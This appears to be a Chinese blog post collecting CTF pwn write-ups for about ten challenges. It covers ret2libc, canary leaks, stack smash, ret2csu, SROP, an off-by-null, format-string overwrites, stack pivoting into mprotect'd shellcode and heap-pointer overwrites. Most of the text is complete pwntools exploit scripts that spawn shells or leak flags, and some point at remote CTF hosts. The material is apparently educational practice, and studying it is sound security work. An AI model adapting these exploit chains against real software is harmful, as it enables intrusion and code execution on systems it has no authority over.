babyof

  • 简单的64位ret2 libc

7E1kpn.png

发现可以通过read函数进行栈溢出,同时在这之前调用了puts函数,因此可以通过puts函数泄露system在libc中的地址并调用system函数。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

io = process("./babyof")
elf = ELF("./babyof")
libc = ELF("./libc-2.27.so")

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

sub_addr = 0x400632

pop_rdi_addr = 0x400743
#pop_rsi/r15_addr = 0x400741
#pop_rdx_addr =

payload = cyclic(0x40 + 8) + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(sub_addr) //64位,参数需要放到 rdi rsi rdx rcx r8 r9

io.recvuntil("Do you know how to do buffer overflow?")
io.sendline(payload)


puts_got= u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
//64位 7f开头,长度6字节,最低两位是\x00
//32位 f7开头,长度4字节

libcbase = puts_got - libc.symbols["puts"]

system_addr = libcbase + libc.symbols['system']

binsh_addr = libcbase + next(libc.search(b"/bin/sh"))

payload = cyclic(0x40 + 8) + p64(pop_rdi) + p64(binsh_addr) + p64(ret) + p64(system_addr) //加个p64(ret) 是因为高版本的libc需要维持堆栈平衡,所以
在system之前加ret,一般是2.232.272.32需要

io.interactive()

littleof

  • 首先泄露canary,然后ret2libc。

7E1GX6.png

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

context.log_level = 'debug'

io = process('./littleof')
elf = ELF('./littleof')
libc = ELF('./libc-2.27.so')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0000000000400863
ret = 0x000000000040059e
main = 0x00000000004006E2

# leak canary //通过read函数泄露canary,当程序执行到canary 位置时,进行接收得到canary。
payload = b'A' * (0x50 - 8)
io.sendlineafter('overflow?\n', payload)
io.recvuntil(b'A' * (0x50 - 8))
canary = u64(io.recv(8))
canary = canary - 0x0a
success('canary = ' + hex(canary))

# leak libc
payload = b'A' * (0x50 - 8) + p64(canary) + b'deadbeef' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendlineafter('harder!', payload)
puts_real = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
success('puts_real = ' + hex(puts_real))

libc_base = puts_real - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh\x00').next()
/python3中lib/sh获取:next(elf.search(b"/bin/sh"))

# ret2libc
payload = b'A' * (0x50 - 8) + p64(canary) + b'deadbeef' + p64(pop_rdi) + p64(binsh_addr) + p64(ret) + p64(system_addr)
io.sendlineafter('overflow?\n', payload)

io.interactive()

easyecho

  • 这是一道经典的Stack Smash,即通过将flag写入argv0,通过canary的报错将flag输出出来。

7E1MtJ.png

分析题目,首先将flag文件读取出来放入unk_2020A0这个bss段上。

7E1Qh9.png

接下来进入while函数,首先输入字符串backdoor进行if绕过。

但本题开启了pie

因此我们需要首先泄露pie的基址,输入16个A,通过printf打印带出栈上的数据,

7E1311.png

leak=0x555555554cf0

然后看vmmap

7E11pR.png

发现pie的基址为0x555555554000,并且pie_offset = 0xcf0

然后去bss段寻找flag,发现flag的偏移伪0x202040,所以flag_real_addr = pie_base + flag_offset

然后寻找agrv0所在的地址,

7E1Kk4.png

得到argv_0=0x7fffffffdf28

最后再找到溢出开始点v10的地址,计算和argv0的偏移量即可构造payload

7E186x.png

发现v10地址为0x7fffffffddc0

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context.log_level = "debug"

#io = process("./easyecho")
io = remote("114.55.200.75",9503)

io.sendlineafter("Name: ",b'a' * 16)
io.recvuntil("Welcome aaaaaaaaaaaaaaaa")

leak = u64(io.recv(6).ljust(8,b'\x00'))
pie_base = leak - 0xcf0
print("leak:",hex(leak))

flag_addr = pie_base + 0x202040
print("flag:",hex(flag_addr))

io.recvuntil("Input: ")
io.sendline("backdoor")

argv0=0x7fffffffdf28
v10=0x7fffffffddc0

payload = cyclic(argv0-v10) + p64(flag_addr)
io.sendlineafter("Input: ",payload)

io.recvuntil("Input: ")
io.sendline("exitexit")

io.interactive()

ciscn_2019_s_3(buuctf)

  • 首先泄露栈地址确定buf地址,之后ret2csu

pC4heXR.png

pC4hnn1.png

vuln中read明显的栈溢出,并且程序中有控制rax的gadget,因此想到ret2syscall,ROP查看后发现没有控制rdx的gadget,因此需要ret2csu。

pC4hu0x.png

注意:该程序最后没有leave,是直接ret的,因此不需要覆盖rbp,rbp的位置直接填充返回地址即可

另外,没有pop rbp,rbp==rsp,并且值也一直没变过,可能是这个原因,stack查看不了输入的内存在栈上的位置,需要我们用search/find 查看。

手动调试获取栈地址:

首先,在vuln函数处下断点,查看rsi寄存器,rsi寄存器开始存放的就是栈地址,即含有程序名的那一行,得到栈地址为0x7fffffffdfb8。

pC4hQAK.png

接下来,输入aaaa后search查看aaaa所处的地址或者在汇编语句处也可查看aaaa所处的地址

pC4h1hD.png

pC4hK76.png

在aaaa后0x20处发现栈地址,因此我们接收0x20字节后再次接收8字节即可获得栈地址,计算两者偏移(0xfb8 - 0xe90 = 0x128),这个是我本地的偏移,用0x128可以打通本地,但远程的偏移是0x118。。。

接收获得栈地址 - 0x118即是buf变量的地址了,我们可以将binsh输入buf中,并将buf地址当作binsh地址用作syscall。

接下来就是ret2csu了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

elf = ELF("./")
io = process("./")
#io = remote("node4.buuoj.cn",26971)
pop_rbx_rbp_r12_r13_r14_r15 = 0x0040059A //csu_end
mov_rdx_r13_call = 0x0400580 //csu_start
pop_rdi_ret = 0x04005A3
vuln_addr = 0x0004004ED
sysecve_addr = 0x004004E2 //mov eax,0x3b;ret;
syscall_addr =0x400501

#leak stack_addr
payload = b'/bin/sh\x00' + b'A' * 0x8 + p64(vuln_addr)
io.sendline(payload)
io.recv(0x20)
binsh = u64(io.recv(8)) - 0x118 //本地为 u64(p.recv(8)) - 0x128
print(hex(binsh))

#ret2csu
payload = b"/bin/sh\x00" + b"a"*0x8
payload += p64(pop_rbx_rbp_r12_r13_r14_r15)
payload += p64(0) * 2
payload += p64(binsh+0x50) //这里是因为csu中会call r12也就是调用sysecve_addr执行rax = 0x3b;return;
//这样会pop完后调用sysecve_addr并ret到syscall_addr,因此不会再次执行到下边pop序列,也 就不用7个pop填充垃圾数据了。
payload += p64(0) * 3 #这里不能直接把/bin/sh通过csu给rdi寄存器,这里只能控制rdi的低32位edi
payload += p64(mov_rdx_r13_call)
payload += p64(sysecve_addr)
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(syscall_addr)
io.sendline(payload)
io.interactive()

最后再放一下csu的汇编代码:

pC4hltO.png

第二种解法:

这题也可以使用SROP解决:

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')

elf = ELF("./2")
#io = process("./2")
io = remote("node1.anna.nssctf.cn",28306)

vuln = 0x4004ED
syscall = 0x400501

#leak stack_addr
payload = b'a' * 0x10 + p64(vuln)
io.send(payload)
io.recv(0x20)
stack = u64(io.recv(8))
print(hex(stack))
binsh_addr = stack - 0x118

#srop
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = binsh_addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall
mov_rax_ret = 0x4004da

payload = b'/bin/sh\x00'.ljust(0x10, b'a') + p64(mov_rax_ret) + p64(syscall) + bytes(sigframe)

io.sendline(payload)
io.interactive()

[HDCTF 2023]Makewish

  • 首先泄露canary,程序输入没有溢出,但存在of by null漏洞,通过该漏洞在栈上构造后门函数地址,需要尝试几次。

main函数中,首先通过gdb调试查看随机数v5的值,因为v5距离我们输入点4个字节,因此为输入点上方前三个字节,即0x2c3

pColddf.png

绕过检测后进入vuln函数,同时通过read+puts泄露canary值。

pColBFS.png

vuln函数中,buf[(int)read(0, buf, 0x60uLL)] = 0函数存在漏洞,read函数的返回值为读入的字节数,因此程序会执行buf[size] = 0的操作,而buf[size]位置对应rbp的最后两个字节,因此会将rbp最后两字节做置0操作。

pColwo8.png

思路:rbp最后两字节置0后,函数执行pop rbp后会将执行流向前移动几个位置,因此可以将栈上布满后门函数地址,程序返回时rsp就会重新被劫持栈上,进而执行后门函数,由于地址随机化的原因,程序需要多尝试几次。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level = 'debug'

while 1:
try:
#io = process('./mw')
io = remote("node4.anna.nssctf.cn",28042)
io.sendline(b'a'* 0x28)
io.recvuntil(b'a'* 0x28)
canary = u64(io.recv(8))-0xa //接收canary
print('canary =', hex(canary))
rand = 0x2c3
io.send(p32(rand))
backdoor = 0x4007C7
payload = p64(backdoor)*11+p64(canary)
io.sendline(payload)
io.interactive()
except:
io.close()

wdb2018_guess

分析程序,程序将flag写入了栈内的buf变量中,且程序中存在fork函数,允许我们溢出三次,程序会执行三次main函数。

pPEWQxI.png

pPEWKGd.png

利用思路:

程序存在canary,可以利用stack smash泄露内容,因此需要知道buf的地址,因程序中没有打印内容的可利用地方,因此使用libc中的__environ函数泄露栈地址。那么就需要得到libc基地址。

因此,三次泄露:

  • 覆盖argv[0]为puts_got,泄露puts_got地址得到libc地址
  • 覆盖argv[0]为environ地址,泄露得到栈地址
  • 计算得到的栈地址和buf的偏移量从而得到buf地址,将argv[0]覆盖为buf地址

pPEWMRA.png

补充

在libc中保存了一个函数叫_environ,存的是当前进程的环境变量,可以使用x/a __environ查看。

通过___environ的地址得到environ的值,从而得到环境变量地址,环境变量保存在栈中,所以通过栈内的偏移量,可以访问栈中任意变量。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context(arch='amd64', os='linux', log_level='debug')

io = remote("node4.buuoj.cn",26020)
elf = ELF("./1")
libc = ELF("./libc-2.23.so")

#leak puts
puts_got = elf.got["puts"]
payload1 = b'a' * 0x128 + p64(puts_got) //argv[0]与溢出点相距0x128
io.sendlineafter("your guessing flag\n",payload1)

puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
success('puts_addr = ' + hex(puts_addr))

#leak libc
libcbase = puts_addr - libc.sym["puts"]
environ_addr = libcbase + libc.sym["__environ"]
success('environ_addr = ' + hex(environ_addr))

payload2 = b'a' * 0x128 + p64(environ_addr)
io.sendlineafter("your guessing flag\n",payload2)

#leak stack
stack_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
success('stack_addr = ' + hex(stack_addr))

payload3 = b'a' * 0x128 + p64(stack_addr - 0x168) //stack与buf相距0x168
io.sendlineafter("your guessing flag\n",payload3)

io.interactive()

[虎符CTF 2022]babygame

保护全开。

main函数中设置了随机数种植,且存在一次栈溢出,可以通过溢出buf覆盖到随机数种植,实现rand可控,进而绕过guess_number函数,进入vuln函数。

pFhrPkn.png

vuln函数中,存在一次格式化字符串漏洞。

pFhriYq.png

利用思路:

  • 首先在main函数中,通过溢出覆盖seed实现随机数可控,同时通过printf打印出栈地址。

  • 通过该栈地址计算出vuln函数的返回地址。

  • 在vuln函数中通过格式化字符串漏洞泄露栈上的libc地址,获取libc基地址以及one_gadget。

  • 同时,修改vuln函数的返回地址为call vuln 地址,使程序执行完一次vuln后会再次执行vuln。

  • 第二次vuln函数中,格式化字符串修改vuln函数返回地址为one_gadget。

具体步骤:

1.首先溢出控制seed为b’aaaa’,并生成该seed对应的随机数。在main函数中printf打印buf处下断点查看如图栈地址,相距0x138,因此构造(由于会劫持vuln返回地址,因此程序执行流走不到call ___stack_chk_fail处,因此可以覆盖canary):

1
2
3
4
5
payload = b'a' * 0x138
io.sendafter("your name:\n",payload)

stack = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success("stack: " + hex(stack))

pFhrElT.png

2.动态调试泄露的该栈地址距离vuln函数的返回值的距离。

由于buf是main函数的第一个局部变量,因此buf位于栈顶位置,main函数调用子函数时首先将子函数返回地址入栈,因此buf再往上(往更小地址)处即为子函数的返回地址,观察printf断点时的栈信息发现,buf上方即为返回地址,因此当程序执行到vuln函数时,buf上方即为入栈的vuln返回地址,计算距离得到0x220。

s进入printf后的栈:

pFhrZXF.png

pFhrApV.png

3.通过随机数绕过guess_number函数进入vuln函数。

1
2
3
4
text = [2, 0, 1, 0, 0, 2, 0, 0, 2, 2, 0, 1, 0, 2, 2, 2, 2, 0, 0, 2, 0, 1, 2, 0, 1, 2, 2, 2, 1, 0, 0, 2, 1, 1, 0, 0, 2, 0, 0, 1, 2, 0, 1, 1, 1, 0, 1, 1, 2, 1, 2, 1, 1, 1, 2, 2, 2, 1, 1, 0, 1, 1, 2, 2, 1, 2, 1, 0, 2, 1, 0, 0, 1, 0, 1, 1, 0, 2, 2, 1, 2, 2, 0, 0, 2, 1, 2, 1, 1, 0, 1, 2, 1, 0, 0, 1, 2, 1, 1, 0]

for i in range(0,100):
io.sendlineafter(': \n', str(text[i]).encode())

4.在vuln函数中通过格式化字符串漏洞泄露libc地址,并修改返回地址。

泄露libc:通过在exp中下断点到vuln函数printf处的地址,查看栈发现%9$p处为printf的libc地址。

修改返回地址:由于vuln函数地址和vuln函数返回地址后三位不同,根据pie随机化,所以我们修改后两个字节的话倒数第四位属于随机情况,有1/16的概率成功(实际比这个要大),因此我们可以考虑不修改为vuln地址,而是修改为call vuln地址,该指令地址和返回地址相邻,因此只需修改最后一个字节即可。

pFhr9Ts.png

pFhrFf0.png

构造:

1
2
3
4
5
6
7
payload = b"%62c%8$hhn.%9$p." + p64(stack - 0x220)
io.sendline(payload)

io.recvuntil("0x")
printf_addr = int(io.recv(12), 16) - 74
libcbase = printf_addr - libc.sym["printf"]
success("printf :" + hex(printf_addr))

5.程序执行第二次vuln时,格式化字符串修改返回地址为one_gadget。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from ctypes import *

context(arch = "amd64",os = "linux", log_level = "debug")

#io = remote("node5.anna.nssctf.cn",28363)
io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so")

payload = b'a' * 0x138
io.sendafter("your name:\n",payload)

stack = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success("stack: " + hex(stack))

text = [2, 0, 1, 0, 0, 2, 0, 0, 2, 2, 0, 1, 0, 2, 2, 2, 2, 0, 0, 2, 0, 1, 2, 0, 1, 2, 2, 2, 1, 0, 0, 2, 1, 1, 0, 0, 2, 0, 0, 1, 2, 0, 1, 1, 1, 0, 1, 1, 2, 1, 2, 1, 1, 1, 2, 2, 2, 1, 1, 0, 1, 1, 2, 2, 1, 2, 1, 0, 2, 1, 0, 0, 1, 0, 1, 1, 0, 2, 2, 1, 2, 2, 0, 0, 2, 1, 2, 1, 1, 0, 1, 2, 1, 0, 0, 1, 2, 1, 1, 0]

for i in range(0,100):
io.sendlineafter(': \n', str(text[i]).encode())

#io.recvuntil("to you.\n")


payload = b"%62c%8$hhn.%9$p." + p64(stack - 0x220)
io.sendline(payload)

io.recvuntil("0x")
printf_addr = int(io.recv(12), 16) - 74
libcbase = printf_addr - libc.sym["printf"]
success("printf :" + hex(printf_addr))

#pause()

one_gadget = libcbase + 0xe3b31
payload = fmtstr_payload(6, {(stack - 0x220): one_gadget})
io.sendline(payload)

io.interactive()

[强网杯 2022]devnull

栈迁移和_mprotect的考察。

pFLLFhT.png

pFLL97q.png

题目分析:

  • fgets可输入0x20个字节,且末位置‘\0’,因此可覆盖fd为0,进而控制下方read从stdin输入,v3输入溢出到返回值,因此考虑栈迁移
  • 其中mp函数禁用了bss段的可执行权限,因此考虑栈迁移到data段。
  • 第二次read(buf)中,由于buf是指针变量,所以我们可以在read(v3)时控制buf指向data段,第二次read时即可向data段写数据进而构造rop链和she’llcode。
  • 由于程序中没有控制rdi的gadget,但有mov rdi,rax和mov rax,[rbp - 0x18]的gadget,因此考虑通过控制rax来控制rdi,由于程序中存在_mprotect函数,因此考虑通过该函数将data权限修改,需要满足rdx = 7(这个在栈迁移后本身是满足的),rdi为要修改权限的区域。

pFLLiNV.png

pFLLPA0.png

具体实现:

1.首先溢出控制fd实现从stdin输入。

1
2
3
4
5
6
7
leave = 0x401511
buf = 0x3fe000
rax_rbp_18 = 0x401350
mprotect = 0x4012D0
shellcode = 'push 59; pop rax; push 0x3fe018; pop rdi; push 0; pop rsi; push 0; pop rdx; syscall;'

sa(b'filename\n', b'a'*0x20)

2.其次控制rbp和ret进行栈迁移。

1
sa(b'discard\n', b'a'*0x14 + p64(buf)*2 + p64(leave))

3.在buf处构造rop链调用_mprotect函数。

1
sa(b'data\n', p64(buf + 0x18 + 0x10) + p64(rax_rbp_18) + p64(buf) + b'/bin/sh\x00' + b'a'*0x10 + p64(mprotect) + b'a'*8 + p64(buf + 0x48) + asm(shellcode))

这里,栈迁移的具体流程为:

1.首先rbp填充为buf,ret填充为leave ret,具体过程参考图下:

pFLLVc4.png

2.栈迁移后,rbp = buf + 0x18 + 0x10,rip为rax_rbp_18,接着执行mov rax,[rbp-0x18]后 rax = [buf + 0x10] = buf。

3.rax_rbp_18中存在leave;ret,此时再进行迁移,mov rsp,rsp;pop rbp,完成后rsp = rbp = buf + 0x18 + 0x10,也就是后8个 b’a’ ,此时rip为mprotect即可跳转执行mprotect。

4.mprotect后面存在pop rbp,ret;因此填充b’a’ * 8给rbp,rip = buf + 0x48 = shellcode,程序接着执行shellcode。

5.终端禁用了标准输出,因此通过cat flag>&2重定向到标准错误获取flag。

[广东强网杯 2021 个人决赛]hardof

程序中调用了alarm,且存在栈溢出。

pkZoxlF.png

pkZTSOJ.png

与传统ret2libc不同,程序中没有puts或write函数,因此没法通过rop调用puts并泄露libc的方法打libc。

利用思路:

1、打开所给libc找到alarm函数发现,在alarm + 5的位置存在syscall指令,因此可以通过覆盖alarm@got低字节为\x15来实现syscall调用。

pkZovSU.png

2、首先通过read向data或bss段读入binsh,接着覆盖alarm@got为syscall。

3、之后控制寄存器,对于rax,由于rax存放read函数的返回值,可以通过调用read函数输入0x3b个字节控制rax = 0x3b。

4、对于rdi,rsi,rdx,可以通过init的gadget片段来实现。

pkZozy4.png

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
alarm = elf.got["alarm"]
read = elf.plt["read"]
main = 0x400553
bss = elf.bss(0x500)
pop_rsi_r15 = 0x4005e1

#read binsh
pay1 = b'a'*0x48+p64(pop_rsi_r15) + p64(bss) +p64(0) + p64(read) + p64(main) //读入binsh
io.send(pay1)
sleep(0.5)
io.sendline('/bin/sh\x00')

pay2 = b'B'*0x48+p64(pop_rsi_r15)+p64(elf.got['alarm'])+p64(0)+p64(elf.plt['read']) //修改alarm@got
pay2 += p64(pop_rsi_r15)+p64(bss+0x60)+p64(0)+p64(elf.plt['read']) //控制rax
pay2 += p64(0x4005DA)+ p64(0)+p64(0)+p64(elf.got['alarm'])+p64(bss)+p64(0)+p64(0)+p64(0x04005C0) //init片段


#orw版本:
pay2 = b'B'*0x48+p64(pop_rsi_r15)+p64(elf.got['alarm'])+p64(0)+p64(elf.plt['read']) //修改alarm@got
#open
pay2 += p64(pop_rax) + p64(2) //控制open_rax
pay2 += p64(0x4005DA)+ p64(0)+p64(0)+p64(elf.got['alarm'])+p64(bss)+p64(0)+p64(0)+p64(0x04005C0)

pay2 += b'a' * 0x38
#read:
pay2 += p64(pop_rax) + p64(0) //read
pay2 += p64(0x4005DA)+ p64(0)+p64(0)+p64(elf.got['alarm'])+p64(3)+p64(bss + 0x100)+p64(0)+p64(0x04005C0)

pay2 += b'a' * 0x38
#write:
pay2 += p64(pop_rax) + p64(1) //write
pay2 += p64(0x4005DA)+ p64(0)+p64(0)+p64(elf.got['alarm'])+p64(1)+p64(bss + 0x100)+p64(0)+p64(0x04005C0)



sl(pay2)
sleep(0.5) //每两次输入直接需要sleep间隔不然打不通,可能是输入太快会出问题。
s(b'\x15')
sleep(0.5)
s(b'a' * 0x3b)

io.interactive()

2024西电CTF迎新赛luosh

这题是迎新赛最后一题,挺难的。

题目环境:栈题(涉及malloc和free等操作),libc2.35,got表不可改,开启了pie。

这题模拟了linux中的一些操作,包括touch、ls、rm、cat、echo等对文件内容进行操作。

首先main中进入vuln函数:

pAlYFpT.png

其中的parse函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
__int64 __fastcall parse(char *a1)
{
int v2; // eax
unsigned int v3; // [rsp+10h] [rbp-10h]
int i; // [rsp+14h] [rbp-Ch]
const char *s2; // [rsp+18h] [rbp-8h]
const char *s2a; // [rsp+18h] [rbp-8h]

s2 = strtok(a1, " ");
v3 = -1;
for ( i = 0; i <= 5; ++i )
{
if ( !strcmp((&command_list)[3 * i], s2) )
{
v3 = i;
break;
}
}
if ( v3 == -1 )
{
printf("No such command %s.\n", s2);
return 0xFFFFFFFFLL;
}
else
{
nargs = 0;
while ( 1 )
{
s2a = strtok(0LL, " ");
if ( !s2a )
break;
if ( strlen(s2a) > 0x1F )
{
puts("Args too long.");
return 0xFFFFFFFFLL;
}
v2 = nargs++;
strcpy(&arg_list[32 * v2], s2a);
}
if ( nargs <= 10 )
{
return v3;
}
else
{
puts("Too many args.");
return 0xFFFFFFFFLL;
}
}
}

touch函数:

pAlYk1U.png

ls函数:

pAlYAcF.png

echo函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
__int64 __fastcall echo(__int64 a1)
{
const char *v2; // rbx
int i; // [rsp+10h] [rbp-30h]
int j; // [rsp+14h] [rbp-2Ch]
int k; // [rsp+18h] [rbp-28h]
int v6; // [rsp+1Ch] [rbp-24h]
size_t size; // [rsp+20h] [rbp-20h]
void **v8; // [rsp+28h] [rbp-18h]

v6 = nargs - 2;
size = 0LL;
v8 = 0LL;
for ( i = 0; i < v6; ++i )
size += strlen((const char *)(32LL * i + a1)) + 1;
for ( j = 0; j <= 19; ++j )
{
if ( (*((_DWORD *)&file_flag + 8 * j) & 1) != 0
&& !strcmp(*((const char **)&file_name + 4 * j), (const char *)(a1 + 32 * (v6 + 1LL))) )
{
v8 = (void **)((char *)&file_flag + 32 * j);
break;
}
}
if ( v8 )
{
if ( !strcmp((const char *)(32LL * v6 + a1), ">") )
{
if ( &puts < v8[1] || (unsigned __int64)v8[3] < size )
{
if ( v8[1] )
free(v8[1]);
v8[1] = malloc(size);
v8[3] = (void *)size;
}
memset(v8[1], 0, size);
for ( k = 0; k < v6; ++k )
{
strcat((char *)v8[1], (const char *)(a1 + 32LL * k));
if ( k != v6 - 1 )
{
v2 = (const char *)v8[1];
*(_WORD *)&v2[strlen(v2)] = 32;
}
}
return 0LL;
}
else
{
puts("An error occured.");
return 1LL;
}
}
else
{
puts("No such file.");
return 1LL;
}
}

rm和cat函数功能对应linux相应指令,无漏洞,没有用到,这里就不放了。

题目分析:

1、程序结构分析,首先还原题目中的文件结构体,包括file_flag(该文件名是否已存在),file_content(文件内容指针),file_name(文件名指针),file_size(内容大小)

并且成下列顺序排序,每个占8字节。

1
2
3
4
是否使用
内容指针
文件名指针
内容大小

2、漏洞点在于parse函数中,arg_list数组的大小是320,也就是默认可以输入10个以” “分割的字符串,当数量大于10个时会返回-1,但是这里并不是exit退出程序,虽然会返回-1但是同样可以修改arg_list[320]后边的内容。

3、考虑漏洞利用,由于touch创建一个文件名(如touch 1)后,会malloc(0x20),file_name指向该heap,heap上存放文件名1,如图所示:

pAlYPhV.png

pAlYEX4.png

4、因此,首先touch 1使它file_name_1指针指向heap,由于ls会打印出heap里的内容,因此考虑通过parse的溢出修改该地址为got表地址,并通过ls泄露libc,但是开了pie,因此需要先泄露pro_base。

5、由于parse解析时,s2指向a1,而a1就是vuln函数中的s1,因此通过观察栈结构填充到指定位置可以泄露处pro_base,当填满512字节时,下一个位置即为main地址,此时可通过puts泄露pro_base。

1
2
3
4
5
sa("luo ~> ",b'a' * 512)
ru('a' * 512)
main_addr = u64(p.recv(6).ljust(8,b'\x00'))
pro_base = main_addr - 0x1cc2
success("main_addr: " + hex(main_addr))

6、现在已知pro_base了,继续实现步骤4来泄露libc:

1
2
3
4
5
6
7
8
9
10
free_got = 0x3F58 + pro_base
sla("luo ~> ",b'touch 1')
sla("luo ~> ",b'touch 1 2 3 4 5 6 7 8 9 10 ' + b'1' * 0x10 + p64(free_got))
//由于arg_list长320,因此第十一个位置开始溢出,该位置就是file结构。
sla("luo ~> ",b'ls')

free_addr = get_addr()
libc_base = free_addr - libc.sym['free']
system = libc_base + libc.sym['system']
success("system: " + hex(system))

7、泄露libc后,观察echo函数,发现可以向指定文件名内写入内容,通过arg_list的溢出覆盖file_context即可实现任意地址写。

8、由于got表不可改且不存在栈溢出,本来打算修改返回地址为system,但是echo中又有检查&puts < v8[1],即要写入的地址不能大于puts,由于栈地址一定大于puts_addr,因此该方法不可行。

9、vuln中的(&funcs_1C6E + 3 * idx))(&arg_list)是可以利用的,如果能控制idx,使其call system,并在arg_list传入binsh,即可getshell。由于idx_addr < puts_addr,因此考虑通过echo + arg_list的溢出功能修改idx为某偏移,该偏移位置上存放的是system地址,即可实现getshell。

10、因此,具体步骤为,通过echo首先往bss段上写入system地址,之后往idx中写入前边bss地址的偏移并在arg_list写入binsh,使程序call system。

11、上一步需要一步巧妙地实现,由于输入luofuck时会跳过parse解析,即idx不会修改,因此我们需要修改idx为offset后输入luofuck绕过parse并执行后边的call [func+idx]。这里还有一点需要注意:由于idx和arg_list都属于参数的第一个位置,输入idx后会覆盖前方输入的binsh,因此需要向idx_addr - 8处输入”/bin/sh;\x43”即可完成对idx = 0x43,并且arg_list = binsh的修改。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
from ctypes import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')

def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r(a):
return p.recv(a)
def ru(a):
return p.recvuntil(a)
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(libcbase):
return libcbase + libc.sym['system'], libcbase + next(libc.search(b'/bin/sh\x00'))

#p = remote("192.168.111.1",56371)
p = process("./pwn")
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

sa("luo ~> ",b'a' * 512)
ru('a' * 512)
main_addr = u64(p.recv(6).ljust(8,b'\x00'))
pro_base = main_addr - 0x1cc2
success("main_addr: " + hex(main_addr))

free_got = 0x3F58 + pro_base
sla("luo ~> ",b'touch 1')
sla("luo ~> ",b'touch 1 2 3 4 5 6 7 8 9 10 ' + b'1' * 0x10 + p64(free_got))
sla("luo ~> ",b'ls')

free_addr = get_addr()
libc_base = free_addr - libc.sym['free']
system = libc_base + libc.sym['system']
success("system: " + hex(system))

sla("luo ~> ",b'touch 2')
sla("luo ~> ",b'echo aaaaaaaaa > 2')

#set system on bss
bss = 0x4310 + pro_base
success("bss: " + hex(bss))
sla("luo ~> ",b'touch 1 2 3 4 5 6 7 8 9 10 11 ' + b'1' * 8 + p64(bss)[0:6])
payload = b'echo ' + p64(system)[0:6] + b' > 2'
sla("luo ~> ",payload)

#change idx to call system
idx_addr = 0x4060 + pro_base
sla("luo ~> ",b'touch 1 2 3 4 5 6 7 8 9 10 11 ' + b'1' * 8 + p64(idx_addr - 8))

payload = b'echo ' + b'/bin/sh;\x43' + b' > 2'
sla("luo ~> ",payload)

#debug()
sla("luo ~> ",b'luofuck')

p.interactive()